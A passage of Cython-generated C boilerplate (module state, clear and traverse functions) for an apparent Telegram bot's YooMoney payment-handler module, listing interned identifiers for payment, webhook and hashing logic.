PyObject *__pyx_n_s_string_to_hash; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_kp_s_web_Request; + PyObject *__pyx_n_u_withdraw_amount; + PyObject *__pyx_n_u_yoomoney; + PyObject *__pyx_n_u_yoomoney_2; + PyObject *__pyx_n_u_yoomoney_amount; + PyObject *__pyx_n_s_yoomoney_webhook; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__17; + PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__24; + PyObject *__pyx_tuple__25; + PyObject *__pyx_tuple__26; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__28; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__11; + PyObject *__pyx_codeobj__14; + PyObject *__pyx_codeobj__18; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u_Webhook_event_received); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_n_s__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_n_s__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_n_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_account_id); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_calculated_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_u_codepro); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_id); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_u_datetime); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_yoomoney_pay_p); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_u_label); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_notification_secret); + Py_CLEAR(clear_module_state->__pyx_n_u_notification_type); + Py_CLEAR(clear_module_state->__pyx_n_u_operation_id); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_kp_u_paymentType_PC_comment_label); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_kp_u_quickpay_form_shop_targets_sum); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_u_sender); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_sha1); + Py_CLEAR(clear_module_state->__pyx_n_s_sha1_hash); + Py_CLEAR(clear_module_state->__pyx_n_u_sha1_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_s_string_to_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_kp_s_web_Request); + Py_CLEAR(clear_module_state->__pyx_n_u_withdraw_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney_2); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__17); + Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__24); + Py_CLEAR(clear_module_state->__pyx_tuple__25); + Py_CLEAR(clear_module_state->__pyx_tuple__26); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__11); + Py_CLEAR(clear_module_state->__pyx_codeobj__14); + Py_CLEAR(clear_module_state->__pyx_codeobj__18); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u_Webhook_event_received); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_n_s__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_n_s__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_n_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_account_id); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_calculated_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_u_codepro); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_id); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_u_datetime); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_yoomoney_pay_p); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_u_label); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_notification_secret); + Py_VISIT(traverse_module_state->__pyx_n_u_notification_type); + Py_VISIT(traverse_module_state->__pyx_n_u_operation_id); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_kp_u_paymentType_PC_comment_label); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_kp_u_quickpay_form_shop_targets_sum); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_u_sender); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_sha1); + Py_VISIT(traverse_module_state->__pyx_n_s_sha1_hash); + Py_VISIT(traverse_module_state->__pyx_n_u_sha1_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_s_string_to_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_kp_s_web_Request); + Py_VISIT(traverse_module_state->__pyx_n_u_withdraw_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney); + 